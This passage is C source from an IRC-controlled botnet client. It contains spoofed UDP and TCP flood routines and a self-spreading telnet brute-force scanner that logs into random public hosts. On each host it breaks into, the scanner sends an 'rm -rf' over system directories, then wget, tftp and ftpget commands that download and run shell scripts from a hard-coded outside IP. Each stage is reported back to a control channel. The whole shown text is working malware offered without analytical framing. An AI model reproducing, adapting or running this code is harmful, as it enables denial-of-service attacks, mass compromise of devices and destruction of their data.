  1418.                 int end = time(NULL) + timeEnd;
  1419.                 register unsigned int i = 0;
  1420.                 register unsigned int ii = 0;
  1421.                 while(1)
  1422.                 {
  1423.                     sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1424.  
  1425.                     udph->source = rand_cmwc();
  1426.                     udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1427.                     iph->id = rand_cmwc();
  1428.                     iph->saddr = htonl( getRandomIP(netmask) );
  1429.                     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1430.  
  1431.                     if(i == pollRegister)
  1432.                     {
  1433.                             if(time(NULL) > end) break;
  1434.                             i = 0;
  1435.                             continue;
  1436.                     }
  1437.                     i++;
  1438.                    
  1439.                     if(ii == sleepcheck)
  1440.                     {
  1441.                         usleep(sleeptime*1000);
  1442.                         ii = 0;
  1443.                         continue;
  1444.                     }
  1445.                     ii++;
  1446.                 }
  1447.                 int argc;
  1448.                 char **argv;
  1449.                 Send(sock,"PRIVMSG %s :7[QUDP] Flood On [%s:%s] Finished!\n",chan, argv[1], atoi(argv[2]));
  1450.         }
  1451. }
  1452. void sendJUNK(unsigned char *ip, int port, int end_time)
  1453. {
  1454.  
  1455.     int max = getdtablesize() / 2, i;
  1456.  
  1457.     struct sockaddr_in dest_addr;
  1458.     dest_addr.sin_family = AF_INET;
  1459.     dest_addr.sin_port = htons(port);
  1460.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1461.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1462.  
  1463.     struct state_t
  1464.     {
  1465.         int fd;
  1466.         uint8_t state;
  1467.     } fds[max];
  1468.     memset(fds, 0, max * (sizeof(int) + 1));
  1469.  
  1470.     fd_set myset;
  1471.     struct timeval tv;
  1472.     socklen_t lon;
  1473.     int valopt, res;
  1474.  
  1475.     unsigned char *watwat = malloc(8192);
  1476.     memset(watwat, 0, 8192);
  1477.     int packetLen = 1024;
  1478.    
  1479.     int end = time(NULL) + end_time;
  1480.     while(end > time(NULL))
  1481.     {
  1482.         for(i = 0; i < max; i++)
  1483.         {
  1484.             switch(fds[i].state)
  1485.             {
  1486.             case 0:
  1487.                 {
  1488.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1489.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1490.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1491.                     else fds[i].state = 1;
  1492.                 }
  1493.                 break;
  1494.  
  1495.             case 1:
  1496.                 {
  1497.                     FD_ZERO(&myset);
  1498.                     FD_SET(fds[i].fd, &myset);
  1499.                     tv.tv_sec = 0;
  1500.                     tv.tv_usec = 10000;
  1501.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1502.                     if(res == 1)
  1503.                     {
  1504.                         lon = sizeof(int);
  1505.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1506.                         if(valopt)
  1507.                         {
  1508.                             close(fds[i].fd);
  1509.                             fds[i].state = 0;
  1510.                         } else {
  1511.                             fds[i].state = 2;
  1512.                         }
  1513.                     } else if(res == -1)
  1514.                     {
  1515.                         close(fds[i].fd);
  1516.                         fds[i].state = 0;
  1517.                     }
  1518.                 }
  1519.                 break;
  1520.  
  1521.             case 2:
  1522.                 {
  1523.                
  1524.                     packetLen = realrand(32, 8192);
  1525.                     makeRandomShit(watwat, packetLen);
  1526.                     if(send(fds[i].fd, watwat, packetLen, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1527.                     {
  1528.                         close(fds[i].fd);
  1529.                         fds[i].state = 0;
  1530.                     }
  1531.                 }
  1532.                 break;
  1533.             }
  1534.         }
  1535.     }
  1536. }
  1537.  
  1538. char *junk(int sock, char *sender, int argc, char **argv) {
  1539.     if(argc < 3 || atoi(argv[3]) < 0) {
  1540.         Send(sock, "PRIVMSG %s :7[JUNK] <ip> <port> <time>\n", chan);
  1541.         return;
  1542.     }
  1543.     if(mfork(sender) != 0) return;
  1544.     Send(sock, "PRIVMSG %s :7[JUNK] flooding %s:%s\n", chan, argv[1], argv[2]);
  1545.     sendJUNK(argv[1], atoi(argv[2]), atoi(argv[3]));
  1546. }
  1547.  
  1548. void sendHOLD(unsigned char *ip, int port, int end_time)
  1549. {
  1550.  
  1551.     int max = getdtablesize() / 2, i;
  1552.  
  1553.     struct sockaddr_in dest_addr;
  1554.     dest_addr.sin_family = AF_INET;
  1555.     dest_addr.sin_port = htons(port);
  1556.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1557.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1558.  
  1559.     struct state_t
  1560.     {
  1561.         int fd;
  1562.         uint8_t state;
  1563.     } fds[max];
  1564.     memset(fds, 0, max * (sizeof(int) + 1));
  1565.  
  1566.     fd_set myset;
  1567.     struct timeval tv;
  1568.     socklen_t lon;
  1569.     int valopt, res;
  1570.  
  1571.     int end = time(NULL) + end_time;
  1572.     while(end > time(NULL))
  1573.     {
  1574.         for(i = 0; i < max; i++)
  1575.         {
  1576.             switch(fds[i].state)
  1577.             {
  1578.             case 0:
  1579.                 {
  1580.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1581.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1582.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1583.                     else fds[i].state = 1;
  1584.                 }
  1585.                 break;
  1586.  
  1587.             case 1:
  1588.                 {
  1589.                     FD_ZERO(&myset);
  1590.                     FD_SET(fds[i].fd, &myset);
  1591.                     tv.tv_sec = 0;
  1592.                     tv.tv_usec = 10000;
  1593.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1594.                     if(res == 1)
  1595.                     {
  1596.                         lon = sizeof(int);
  1597.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1598.                         if(valopt)
  1599.                         {
  1600.                             close(fds[i].fd);
  1601.                             fds[i].state = 0;
  1602.                         } else {
  1603.                             fds[i].state = 2;
  1604.                         }
  1605.                     } else if(res == -1)
  1606.                     {
  1607.                         close(fds[i].fd);
  1608.                         fds[i].state = 0;
  1609.                     }
  1610.                 }
  1611.                 break;
  1612.  
  1613.             case 2:
  1614.                 {
  1615.                     FD_ZERO(&myset);
  1616.                     FD_SET(fds[i].fd, &myset);
  1617.                     tv.tv_sec = 0;
  1618.                     tv.tv_usec = 10000;
  1619.                     res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1620.                     if(res != 0)
  1621.                     {
  1622.                         close(fds[i].fd);
  1623.                         fds[i].state = 0;
  1624.                     }
  1625.                 }
  1626.                 break;
  1627.             }
  1628.         }
  1629.     }
  1630. }
  1631.  
  1632. char *hold(int sock, char *sender, int argc, char **argv) {
  1633.     if(argc < 3 || atoi(argv[3]) < 0) {
  1634.         Send(sock, "PRIVMSG %s :7[HOLD] <ip> <port> <time>\n", chan);
  1635.         return;
  1636.     }
  1637.     if(mfork(sender) != 0) return;
  1638.     Send(sock, "PRIVMSG %s :7[HOLD] flooding [%s:%s]\n", chan, argv[1], argv[2]);
  1639.     sendHOLD(argv[1], atoi(argv[2]), atoi(argv[3]));
  1640. }
  1641. void udpbiatch(int sock, char *sender, int argc, char **argv)
  1642. {
  1643.     if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > maxSTDpacketsize || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1644.     {
  1645.             Send(sock,"PRIVMSG %s :7[QUDP] <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>\n",chan);
  1646.             return;
  1647.     }
  1648.     if (atoi(argv[3]) > maxtime)
  1649.     {
  1650.         Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1651.         exit(1);
  1652.     }
  1653.     if (atoi(argv[5]) > maxSTDpacketsize)
  1654.     {
  1655.         Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize);
  1656.         exit(1);
  1657.     }
  1658.     unsigned char *ip = argv[1];
  1659.     int port = atoi(argv[2]);
  1660.     int time = atoi(argv[3]);
  1661.     int spoofed = atoi(argv[4]);
  1662.     int packetsize = atoi(argv[5]);
  1663.     int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  1664.     int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  1665.     int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  1666.    
  1667.     if(strstr(ip, ",") != NULL)
  1668.                 {
  1669.                         unsigned char *hi = strtok(ip, ",");
  1670.                         while(hi != NULL)
  1671.                         {
  1672.                                 if(!listFork())
  1673.                                 {
  1674.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1675.                                         _exit(0);
  1676.                                 }
  1677.                                 hi = strtok(NULL, ",");
  1678.                         }
  1679.                 } else {
  1680.                         if (!listFork()){
  1681.                             sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1682.                             _exit(0);  
  1683.                         }
  1684.                 }
  1685.                 return;
  1686. }
  1687.  
  1688. void killall(int sock, char *sender, int argc, char **argv) {
  1689.         unsigned long i;
  1690.         for (i=0;i<numpids;i++) {
  1691.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1692.                         if (sender) Send(sock,"PRIVMSG %s :4[KILL] PID DROPPED - [%d]\n",chan,pids[i]);
  1693.                         kill(pids[i],9);
  1694.                 }
  1695.         }
  1696. }
  1697. void killd(int sock, char *sender, int argc, char **argv) {
  1698.     char buf[1024]={0};
  1699.     if (disabled == 1) return;
  1700.     sprintf(buf,"kill -9 %d;kill -9 0",actualparent);
  1701.     system(buf);
  1702.     exit(0);
  1703. }
  1704. void train_ps(int sock, char *sender, int argc, char **argv) {
  1705.     int match = 0;
  1706.     unsigned int i;
  1707.     for (i = 0; i < NUM_ADMINS; i++){
  1708.         if (strcasecmp(admins[i], sender) == 0){
  1709.             match = 1;
  1710.         }
  1711.     }
  1712.     if(match){
  1713.         maxSTDpacketsize = atoi(argv[1]);
  1714.         Send(sock, "PRIVMSG %s :7PACKETSIZE: Max Packetsize changed to -> %d\n", chan, maxSTDpacketsize);
  1715.     } else {
  1716.         Send(sock, "PRIVMSG %s :7PACKETSIZE: You must have admin status to change the Max packetsize!n", chan);
  1717.     }
  1718. }
  1719.  
  1720. void max_bt(int sock, char *sender, int argc, char **argv) {
  1721.     int match = 0;
  1722.     unsigned int i;
  1723.     for (i = 0; i < NUM_ADMINS; i++){
  1724.         if (strcasecmp(admins[i], sender) == 0){
  1725.             match = 1;
  1726.         }
  1727.     }
  1728.     if(match){
  1729.         maxtime = atoi(argv[1]);
  1730.         Send(sock, "PRIVMSG %s :7BOOT TIME: Max boot time changed to -> %d\n", chan, maxtime);
  1731.     } else {
  1732.         Send(sock, "PRIVMSG %s :7BOOT TIME: You must have admin status to change the Max boot time!\n", chan);
  1733.     }
  1734. }
  1735.  
  1736. void max_threads(int sock, char *sender, int argc, char **argv) {
  1737.     int match = 0;
  1738.     unsigned int i;
  1739.     for (i = 0; i < NUM_ADMINS; i++){
  1740.         if (strcasecmp(admins[i], sender) == 0){
  1741.             match = 1;
  1742.         }
  1743.     }
  1744.     if(match){
  1745.         maxthreads = atoi(argv[1]);
  1746.         Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: Max threads changed to -> %d\n", chan, maxthreads);
  1747.     } else {
  1748.         Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: You must have admin status to change the Max threads!\n", chan);
  1749.     }
  1750. }
  1751. int negotiate(int sock, unsigned char *buf, int len) {
  1752.         unsigned char c;
  1753.         switch (buf[1]) {
  1754.         case CMD_IAC: return 0;
  1755.         case CMD_WILL:
  1756.         case CMD_WONT:
  1757.         case CMD_DO:
  1758.         case CMD_DONT:
  1759.                 c = CMD_IAC;
  1760.                 send(sock, &c, 1, MSG_NOSIGNAL);
  1761.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  1762.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  1763.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  1764.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  1765.                 send(sock, &c, 1, MSG_NOSIGNAL);
  1766.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  1767.                 break;
  1768.         default:
  1769.                 break;
  1770.         }
  1771.  
  1772.         return 0;
  1773. }
  1774.  
  1775. int contains_string(char* buffer, char** strings) {
  1776.         int num_strings = 0, i = 0;
  1777.         for(num_strings = 0; strings[++num_strings] != 0; );
  1778.         for(i = 0; i < num_strings; i++) {
  1779.                 if(strcasestr(buffer, strings[i])) {
  1780.                         return 1;
  1781.                 }
  1782.         }
  1783.         return 0;
  1784. }
  1785. int contains_success(char* buffer) {
  1786.         return contains_string(buffer, successes);
  1787. }
  1788. int contains_fail(char* buffer) {
  1789.         return contains_string(buffer, fails);
  1790. }
  1791. int contains_response(char* buffer) {
  1792.         return contains_success(buffer) || contains_fail(buffer);
  1793. }
  1794. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  1795.         fd_set read_set;
  1796.         struct timeval tv;
  1797.         tv.tv_sec = 0;
  1798.         tv.tv_usec = timeout_usec;
  1799.         FD_ZERO(&read_set);
  1800.         FD_SET(fd, &read_set);
  1801.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1802.         return 0;
  1803.         return recv(fd, buffer, buf_size, 0);
  1804. }
  1805. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  1806.         int num_bytes, i;
  1807.         memset(buffer, 0, buf_size);
  1808.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1809.         if(buffer[0] == 0xFF) {
  1810.                 negotiate(fd, buffer, 3);
  1811.         }
  1812.  
  1813.         if(contains_string(buffer, strings)) {
  1814.                 return 1;
  1815.         }
  1816.  
  1817.         return 0;
  1818. }
  1819. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  1820.         struct in_addr in_addr_ip;
  1821.         in_addr_ip.s_addr = telstate->ip;
  1822.         return inet_ntoa(in_addr_ip);
  1823. }
  1824. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  1825.         if(new_state == 0) {
  1826.                 close(telstate->fd);
  1827.         }
  1828.         telstate->tTimeout = 0;
  1829.         telstate->state = new_state;
  1830.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  1831. }
  1832. void reset_telstate(struct telstate_t* telstate) { // reset
  1833.         advance_telstate(telstate, 0);
  1834.         telstate->complete = 1;
  1835. }
  1836.  
  1837. void uzitelscan(int wait_usec, int maxfds, int sock) {
  1838.         if(fork() == -1) return;
  1839.    
  1840.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  1841.        
  1842.         char buf[128], cur_dir;
  1843.         if (max > maxfds)
  1844.                 max = maxfds;
  1845.         fd_set fdset;
  1846.         struct timeval tv;
  1847.         socklen_t lon;
  1848.         int valopt;
  1849.        
  1850.         char line[256];
  1851.         char* buffer;
  1852.         struct sockaddr_in dest_addr;
  1853.         dest_addr.sin_family = AF_INET;
  1854.         dest_addr.sin_port = htons(23);
  1855.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1856.        
  1857.         buffer = malloc(SOCKBUF_SIZE + 1);
  1858.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  1859.        
  1860.         struct telstate_t fds[max];
  1861.        
  1862.         memset(fds, 0, max * (sizeof(int) + 1));
  1863.         for(i = 0; i < max; i++)
  1864.         {
  1865.             memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1866.             fds[i].complete = 1;
  1867.             fds[i].sockbuf = buffer;
  1868.         }
  1869.         while(1) {
  1870.                 for(i = 0; i < max; i++) {
  1871.                         if(fds[i].tTimeout == 0) {
  1872.                                 fds[i].tTimeout = time(NULL);
  1873.                         }
  1874.                         switch(fds[i].state) {
  1875.             case 0:
  1876.                 {
  1877.                     if(fds[i].complete == 1)
  1878.                     {
  1879.                         char *tmp = fds[i].sockbuf;
  1880.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1881.                         fds[i].sockbuf = tmp;            
  1882.                         fds[i].ip = getRandomPublicIP();
  1883.                     }
  1884.                     else if(fds[i].complete == 0)
  1885.                     {
  1886.                         fds[i].usernameInd++;
  1887.                         fds[i].passwordInd++;
  1888.                                    
  1889.                         if(fds[i].passwordInd == sizeof(uzipasswords) / sizeof(char *))
  1890.                         {
  1891.                             fds[i].complete = 1;
  1892.                             continue;
  1893.                         }
  1894.  
  1895.                     }
  1896.                                
  1897.                     dest_addr.sin_family = AF_INET;
  1898.                     dest_addr.sin_port = htons(23);
  1899.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1900.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  1901.                                
  1902.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1903.                                
  1904.                     if(fds[i].fd == -1) continue;
  1905.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1906.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1907.                     {
  1908.                         reset_telstate(&fds[i]);
  1909.                     }
  1910.                     else
  1911.                     {
  1912.                         advance_telstate(&fds[i], 1);
  1913.                     }
  1914.                 }
  1915.                 break;
  1916.                
  1917.             case 1:
  1918.                 {
  1919.                     FD_ZERO(&fdset);
  1920.                     FD_SET(fds[i].fd, &fdset);
  1921.                     tv.tv_sec = 0;
  1922.                     tv.tv_usec = wait_usec;
  1923.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1924.                    
  1925.                     if(res == 1) {
  1926.                         fds[i].tTimeout = 0;
  1927.                         lon = sizeof(int);
  1928.                         valopt = 0;
  1929.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1930.                         if(valopt)
  1931.                         {
  1932.                             reset_telstate(&fds[i]);
  1933.                         }
  1934.                         else
  1935.                         {
  1936.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1937.                             advance_telstate(&fds[i], 2);
  1938.                         }
  1939.                         continue;
  1940.                     }
  1941.                     else if(res == -1)
  1942.                     {
  1943.                         reset_telstate(&fds[i]);
  1944.                         continue;
  1945.                     }
  1946.                     if(fds[i].tTimeout + 7 < time(NULL))
  1947.                     {
  1948.                         reset_telstate(&fds[i]);
  1949.                     }
  1950.                 }
  1951.                 break;
  1952.             case 2:
  1953.                 {
  1954.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1955.                     {
  1956.                         fds[i].tTimeout = time(NULL);
  1957.                         if(contains_fail(fds[i].sockbuf))
  1958.                         {
  1959.                             advance_telstate(&fds[i], 0);
  1960.                         }
  1961.                         else
  1962.                         {
  1963.                             Send(sock, "PRIVMSG %s :13[UZI] [+] VULN DEVICE ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i]));
  1964.                             advance_telstate(&fds[i], 3);
  1965.                         }
  1966.                         continue;
  1967.                     }
  1968.                     if(fds[i].tTimeout + 7 < time(NULL))
  1969.                     {
  1970.                         reset_telstate(&fds[i]);
  1971.                     }
  1972.                 }
  1973.                 break;
  1974.             case 3:
  1975.                 {
  1976.                     if(send(fds[i].fd, uziusernames[fds[i].usernameInd], strlen(uziusernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1977.                     {
  1978.                         reset_telstate(&fds[i]);
  1979.                         continue;
  1980.                     }
  1981.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1982.                     {
  1983.                         reset_telstate(&fds[i]);
  1984.                         continue;
  1985.                     }
  1986.                     Send(sock, "PRIVMSG %s :13[UZI] [+] USERNAME SENT ---> [%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd]);
  1987.                     advance_telstate(&fds[i], 4);
  1988.                 }
  1989.                 break;
  1990.             case 4:
  1991.                 {
  1992.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1993.                     {
  1994.                         fds[i].tTimeout = time(NULL);
  1995.                         if(contains_fail(fds[i].sockbuf))
  1996.                         {
  1997.                             advance_telstate(&fds[i], 0);
  1998.                         }
  1999.                         else
  2000.                         {
  2001.                             Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD ATTEMPT ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i]));
  2002.                             advance_telstate(&fds[i], 5);
  2003.                         }
  2004.                         continue;
  2005.                     }
  2006.                     if(fds[i].tTimeout + 7 < time(NULL))
  2007.                     {
  2008.                         reset_telstate(&fds[i]);
  2009.                     }
  2010.                 }
  2011.                 break;                                
  2012.             case 5:
  2013.                 {
  2014.                     if(send(fds[i].fd, uzipasswords[fds[i].passwordInd], strlen(uzipasswords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  2015.                     {
  2016.                         reset_telstate(&fds[i]);
  2017.                         continue;
  2018.                     }
  2019.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  2020.                     {
  2021.                         reset_telstate(&fds[i]);
  2022.                         continue;
  2023.                     }
  2024.                     Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD SENT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]),uziusernames[fds[i].usernameInd],  uzipasswords[fds[i].passwordInd]);
  2025.                     advance_telstate(&fds[i], 6);
  2026.                 }
  2027.                 break;                                    
  2028.             case 6:
  2029.                 {
  2030.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  2031.                     {
  2032.                         fds[i].tTimeout = time(NULL);
  2033.                        
  2034.                         if(contains_fail(fds[i].sockbuf))
  2035.                         {
  2036.                             advance_telstate(&fds[i], 0);
  2037.                         }
  2038.                         else if(contains_success(fds[i].sockbuf))
  2039.                         {
  2040.                             if(fds[i].complete == 2)
  2041.                             {
  2042.                                 Send(sock, "PRIVMSG %s :13[UZI] [+] INFECT ATTEMPT DETECTED ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2043.                                 advance_telstate(&fds[i], 7);
  2044.                             }
  2045.                         }
  2046.                         else
  2047.                         {
  2048.                             reset_telstate(&fds[i]);
  2049.                         }
  2050.                         continue;
  2051.                     }
  2052.                     if(fds[i].tTimeout + 30 < time(NULL)) {
  2053.                         reset_telstate(&fds[i]);
  2054.                     }
  2055.                 }
  2056.                 break;
  2057.             case 7:
  2058.                 {
  2059.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2060.                     advance_telstate(&fds[i], 8);
  2061.                 }
  2062.                 case 8:
  2063.                 {
  2064.                     fds[i].tTimeout = 0;
  2065.                     if(send(fds[i].fd, "rm -rf /tmp/* /var/* /dev/* /var/run/* /var/tmp/* /dev/shm/* /mnt/* /boot/* /usr/*\r\n", 84, MSG_NOSIGNAL) < 0) {
  2066.                         Send(sock, "PRIVMSG %s :13[UZI] [+] DIRECTORIES CLEARED ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2067.                         advance_telstate(&fds[i], 9);
  2068.                         continue;
  2069.                     }
  2070.                 }
  2071.             case 9:
  2072.                 {
  2073.                     fds[i].tTimeout = time(NULL);
  2074.                     if(send(fds[i].fd, "/bin/busybox wget 178.62.231.153/w.sh || wget 178.62.231.153/w.sh && sh w.sh\r\n", 80, MSG_NOSIGNAL) < 0) {
  2075.                         Send(sock, "PRIVMSG %s :13[UZI] [-] WGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2076.                         reset_telstate(&fds[i]);
  2077.                         continue;
  2078.                     }
  2079.                     if(fds[i].tTimeout + 45 < time(NULL))  {
  2080.                         send(fds[i].fd, "/bin/busybox tftp tftp.178.62.231.153 -c get u.sh && /bin/busybox tftp -r u.sh -g tftp.178.62.231.153 || tftp tftp.178.62.231.153 -c get u.sh && tftp -r u.sh -g tftp.178.62.231.153 && sh u.sh && bash u.sh\r\n", 194, MSG_NOSIGNAL);
  2081.                         Send(sock, "PRIVMSG %s :13[UZI] [-] TFTP PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2082.                         reset_telstate(&fds[i]);
  2083.                     }
  2084.                     if(fds[i].tTimeout + 45 < time(NULL))  {
  2085.                         send(fds[i].fd, "ftpget -v -u anonymous -p anonymous -P 21 21ftp.178.62.231.153 f1.sh && sh ftp1.sh\r\n", 81, MSG_NOSIGNAL);
  2086.                         Send(sock, "PRIVMSG %s :13[UZI] [-] FTPGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2087.                         reset_telstate(&fds[i]);
  2088.                     }
  2089.                         else {
  2090.                         Send(sock, "PRIVMSG %s :13[UZI] [+] PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2091.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, infectconfirm)) {
  2092.                             Send(sock, "PRIVMSG %s :13[UZI] [+] SUCCESSFUL INFECTION ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2093.                             reset_telstate(&fds[i]);
  2094.                             continue;
  2095.                         }
  2096.                     }
  2097.                        
  2098.                     if(fds[i].tTimeout + 60 < time(NULL)) {
  2099.                         if(fds[i].complete!=3) {
  2100.                             Send(sock, "PRIVMSG %s :13[UZI] [-] FAILED TO INFECT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2101.                         }
  2102.                         reset_telstate(&fds[i]);
  2103.                     }
  2104.                     break;
  2105.                 }
  2106.                
  2107.             }
  2108.         }
  2109.     }
  2110. }
  2111.  
  2112. void uzitelscanargs(int sock) {
  2113.         uint32_t parent;
  2114.         parent = fork();
  2115.         int forks = sysconf(_SC_NPROCESSORS_ONLN);
  2116.         int fds = forks * 512; //Far effective. 100 sockets for each CPU. - ZoneHax
  2117.         if(parent > 0) {
  2118.             scanPid = parent;
  2119.             return;
  2120.         }
  2121.         else if(parent == -1) return;
  2122.         int ii;
  2123.         for(ii = 0; ii < forks; ii++) {
  2124.             srand((time(NULL) ^ getpid()) + getppid());
  2125.             init_rand(time(NULL) ^ getpid());
  2126.             uzitelscan(5000, fds, sock);
  2127.          }
  2128.          return;
  2129. }
  2130.  
  2131. void uziscanstart(int sock, char *sender, int argc, char **argv) {
  2132.     if(argc < 1) {
  2133.         Send(sock, "NOTICE %s :UZIBRUTE <ON/OFF>\n", sender);
  2134.         return;
  2135.     }
  2136.     if(!strcmp(argv[1], "ON")) {
  2137.         if(scanPid == 0) {
  2138.             uzitelscanargs(sock);
  2139.             if(scanPid != 0) {
  2140.                 Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE STARTED!\n", chan); //Scanner has been started successfully!!!
  2141.                 return;
  2142.             } else {
  2143.                 Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO START UZIBRUTE!\n", chan);
  2144.                 return;
  2145.             }
  2146.         } else {
  2147.             Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE ALREADY STARTED!\n", chan);
  2148.             return;
  2149.         }
  2150.     }
  2151.     if(!strcmp(argv[1], "OFF")) {
  2152.         if(scanPid != 0) {
  2153.             if(kill(scanPid, 9) == 0) {
  2154.                 Send(sock, "PRIVMSG %s :4 6[UZI] [+] UZIBRUTE KILLED!\n", chan);
  2155.                 scanPid = 0;
  2156.                 return;
  2157.             } else {
  2158.                 Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO KILL UZIBRUTE!\n", chan);
  2159.                 return;
  2160.             }
  2161.         } else {
  2162.             Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE NOT STARTED!\n", chan);
  2163.             return;
  2164.         }
  2165.     } else {
  2166.         Send(sock, "NOTICE %s :4[UZI] 11[+] UZIBRUTE <ON/OFF>\n", sender);
  2167.         return;
